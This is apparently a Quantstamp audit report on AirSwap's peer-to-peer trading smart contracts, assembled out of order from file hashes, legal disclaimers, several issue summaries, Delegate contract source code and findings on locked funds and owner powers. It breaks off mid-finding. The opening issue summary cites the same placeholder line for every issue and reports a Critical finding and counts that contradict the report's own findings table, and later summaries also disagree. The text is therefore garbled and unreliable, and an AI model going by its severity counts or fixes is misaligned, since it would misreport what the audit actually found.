afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked return values (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to return values (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked user input (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to user input (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked user input ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; import "@airswap/swap/contracts/Swap.sol"; import "@airswap/indexer/contracts/Indexer.sol"; import "@airswap/delegate-factory/contracts/DelegateFactory.sol"; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; contract Imports {} /* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import "@airswap/delegate/contracts/interfaces/IDelegate.sol"; import "@airswap/indexer/contracts/interfaces/IIndexer.sol"; import "@airswap/swap/contracts/interfaces/ISwap.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; /** * @title Delegate: Deployable Trading Rules for the Swap Protocol * @notice Supports fungible tokens (ERC-20) * @dev inherits IDelegate, Ownable uses SafeMath library */ contract Delegate is IDelegate, Ownable { using SafeMath for uint256; // The Swap contract to be used to settle trades ISwap public swapContract; // The Indexer to stake intent to trade on IIndexer public indexer; // Maximum integer for token transfer approval uint256 constant internal MAX_INT = 2**256 - 1; // Address holding tokens that will be trading through this delegate address public tradeWallet; // Mapping of senderToken to signerToken for rule lookup mapping (address => mapping (address => Rule)) public rules; // ERC-20 (fungible token) interface identifier (ERC-165) bytes4 constant internal ERC20_INTERFACE_ID = 0x277f8169; /** * @notice Contract Constructor * @dev owner defaults to msg.sender if delegateContractOwner is provided as address(0) * @param delegateSwap address Swap contract the delegate will deploy with * @param delegateIndexer address Indexer contract the delegate will deploy with * @param delegateContractOwner address Owner of the delegate * @param delegateTradeWallet address Wallet the delegate will trade from */ constructor( ISwap delegateSwap, IIndexer delegateIndexer, address delegateContractOwner, address delegateTradeWallet ) public { swapContract = delegateSwap; indexer = delegateIndexer; // If no delegate owner is provided, the deploying address is the owner. if (delegateContractOwner != address(0)) { transferOwnership(delegateContractOwner); } // If no trade wallet is provided, the owner's wallet is the trade wallet. if (delegateTradeWallet != address(0)) { tradeWallet = delegateTradeWallet; } else { tradeWallet = owner(); } // Ensure that the indexer can pull funds from delegate account. require( IERC20(indexer.stakingToken()) .approve(address(indexer), MAX_INT), "STAKING_APPROVAL_FAILED" ); } /** * @notice Set a Trading Rule * @dev only callable by the owner of the contract * @dev 1 senderToken = priceCoef * 10^(-priceExp) * signerToken * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send * @param maxSenderAmount uint256 Maximum amount of ERC-20 token the delegate would send * @param priceCoef uint256 Whole number that will be multiplied by 10^(-priceExp) - the price coefficient * @param priceExp uint256 Exponent of the price to indicate location of the decimal priceCoef * 10^(-priceExp) */ function setRule( address senderToken, address signerToken, uint256 maxSenderAmount, uint256 priceCoef, uint256 priceExp ) external onlyOwner { _setRule( senderToken, signerToken, maxSenderAmount, priceCoef, priceExp ); } /** * @notice Unset a Trading Rule * @dev only callable by the owner of the contract, removes from a mapping * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send */ function unsetRule( address senderToken, address signerToken ) external onlyOwner { _unsetRule( senderToken, signerToken ); } /** * @notice sets a rule on the delegate and an intent on the indexer * @dev only callable by owner * @dev delegate needs to be given allowance from msg.sender for the amountToStake * @dev swap needs to be given permission to move funds from the delegate * @param senderToken address Token the delgeate will send * @param senderToken address Token the delegate will receive * @param rule Rule Rule to set on a delegate * @param amountToStake uint256 Amount to stake for an intent */ function setRuleAndIntent( address senderToken, address signerToken, Rule calldata rule, uint256 amountToStake ) external onlyOwner { _setRule( senderToken, signerToken, rule.maxSenderAmount, rule.priceCoef, rule.priceExp ); // Transfer the staking tokens from the sender to the Delegate. if (amountToStake > 0) { require( IERC20(indexer.stakingToken()) .transferFrom(msg.sender, address(this), amountToStake), "STAKING_TRANSFER_FAILED" ); } indexer.setIntent( signerToken, senderToken, amountToStake, bytes32(uint256(address(this)) << 96) //NOTE: this will pad 0's to the right ); } /** * @notice unsets a rule on the delegate and removes an intent on the indexer * @dev only callable by owner * @param senderToken address Maker token in the token pair for rules and intents * @param signerToken address Taker token in the token pair for rules and intents */ function unsetRuleAndIntent( address senderToken, address signerToken ) external onlyOwner { _unsetRule(senderToken, signerToken); // Query the indexer for the amount staked. uint256 stakedAmount = indexer.getStakedAmount(address(this), signerToken, senderToken); indexer.unsetIntent(signerToken, senderToken); // Upon unstaking, the Delegate will be given the staking amount. // This is returned to the msg.sender. if (stakedAmount > 0) { require( IERC20(indexer.stakingToken()) .transfer(msg.sender, stakedAmount),"STAKING_TRANSFER_FAILED" ); } } /** * @notice Provide an Order * @dev Rules get reset with new maxSenderAmount * @param order Types.Order Order a user wants to submit to Swap. */ function provideOrder( Types.Order calldata order ) external { Rule memory rule = rules[order.sender.token][order.signer.token]; require(order.signer.wallet == msg.sender, "SIGNER_MUST_BE_SENDER"); // Ensure the order is for the trade wallet. require(order.sender.wallet == tradeWallet, "INVALID_SENDER_WALLET"); // Ensure the tokens are valid ERC20 tokens. require(order.signer.kind == ERC20_INTERFACE_ID, "SIGNER_KIND_MUST_BE_ERC20"); require(order.sender.kind == ERC20_INTERFACE_ID, "SENDER_KIND_MUST_BE_ERC20"); // Ensure that a rule exists. require(rule.maxSenderAmount != 0, "TOKEN_PAIR_INACTIVE"); // Ensure the order does not exceed the maximum amount. require(order.sender.param <= rule.maxSenderAmount, "AMOUNT_EXCEEDS_MAX"); // Ensure the order is priced according to the rule. require(order.sender.param == order.signer.param .mul(10 ** rule.priceExp).div(rule.priceCoef), "PRICE_INCORRECT"); // Overwrite the rule with a decremented maxSenderAmount. rules[order.sender.token][order.signer.token] = Rule({ maxSenderAmount: (rule.maxSenderAmount).sub(order.sender.param), priceCoef: rule.priceCoef, priceExp: rule.priceExp }); // Perform the swap. swapContract.swap(order); emit ProvideOrder( owner(), tradeWallet, order.sender.token, order.signer.token, order.sender.param, rule.priceCoef, rule.priceExp ); } /** * @notice Set a new trade wallet * @param newTradeWallet address Address of the new trade wallet */ function setTradeWallet(address newTradeWallet) external onlyOwner { require(newTradeWallet != address(0), "TRADE_WALLET_REQUIRED"); tradeWallet = newTradeWallet; } /** * @notice Get a Signer-Side Quote from the Delegate * @param senderParam uint256 Amount of ERC-20 token the delegate would send * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send * @return uint256 signerParam Amount of ERC-20 token the consumer would send */ function getSignerSideQuote( uint256 senderParam, address senderToken, address signerToken ) external view returns ( uint256 signerParam ) { Rule memory rule = rules[senderToken][signerToken]; // Ensure that a rule exists. if(rule.maxSenderAmount > 0) { // Ensure the senderParam does not exceed maximum for the rule. if(senderParam <= rule.maxSenderAmount) { signerParam = senderParam .mul(rule.priceCoef) .div(10 ** rule.priceExp); // Return the quote. return signerParam; } } return 0; } /** * @notice Get a Sender-Side Quote from the Delegate * @param signerParam uint256 Amount of ERC-20 token the consumer would send * @param signerToken address Address of an ERC-20 token the consumer would send * @param senderToken address Address of an ERC-20 token the delegate would send * @return uint256 senderParam Amount of ERC-20 token the delegate would send */ function getSenderSideQuote( uint256 signerParam, address signerToken, address senderToken ) external view returns ( uint256 senderParam ) { Rule memory rule = rules[senderToken][signerToken]; // Ensure that a rule exists. if(rule.maxSenderAmount > 0) { // Calculate the senderParam. senderParam = signerParam .mul(10 ** rule.priceExp).div(rule.priceCoef); // Ensure the senderParam does not exceed the maximum trade amount. if(senderParam <= rule.maxSenderAmount) { return senderParam; } } return 0; } /** * @notice Get a Maximum Quote from the Delegate * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send * @return uint256 senderParam Amount the delegate would send * @return uint256 signerParam Amount the consumer would send */ function getMaxQuote( address senderToken, address signerToken ) external view returns ( uint256 senderParam, uint256 signerParam ) { Rule memory rule = rules[senderToken][signerToken]; // Ensure that a rule exists. if(rule.maxSenderAmount > 0) { // Return the maxSenderAmount and calculated signerParam. return ( rule.maxSenderAmount, rule.maxSenderAmount.mul(rule.priceCoef).div(10 ** rule.priceExp) ); } return (0, 0); } /** * @notice Set a Trading Rule * @dev only callable by the owner of the contract * @dev 1 senderToken = priceCoef * 10^(-priceExp) * signerToken * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send * @param maxSenderAmount uint256 Maximum amount of ERC-20 token the delegate would send * @param priceCoef uint256 Whole number that will be multiplied by 10^(-priceExp) - the price coefficient * @param priceExp uint256 Exponent of the price to indicate location of the decimal priceCoef * 10^(-priceExp) */ function _setRule( address senderToken, address signerToken, uint256 maxSenderAmount, uint256 priceCoef, uint256 priceExp ) internal { rules[senderToken][signerToken] = Rule({ maxSenderAmount: maxSenderAmount, priceCoef: priceCoef, priceExp: priceExp }); emit SetRule( owner(), senderToken, signerToken, maxSenderAmount, priceCoef, priceExp ); } /** * @notice Unset a Trading Rule * @dev only callable by the owner of the contract, removes from a mapping * @param senderToken address Address of an ERC-20 token the delegate would send * @param signerToken address Address of an ERC-20 token the consumer would send */ function _unsetRule( address senderToken, address signerToken ) internal { // Delete the rule. delete rules[senderToken][signerToken]; emit UnsetRule( owner(), senderToken, signerToken ); } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist 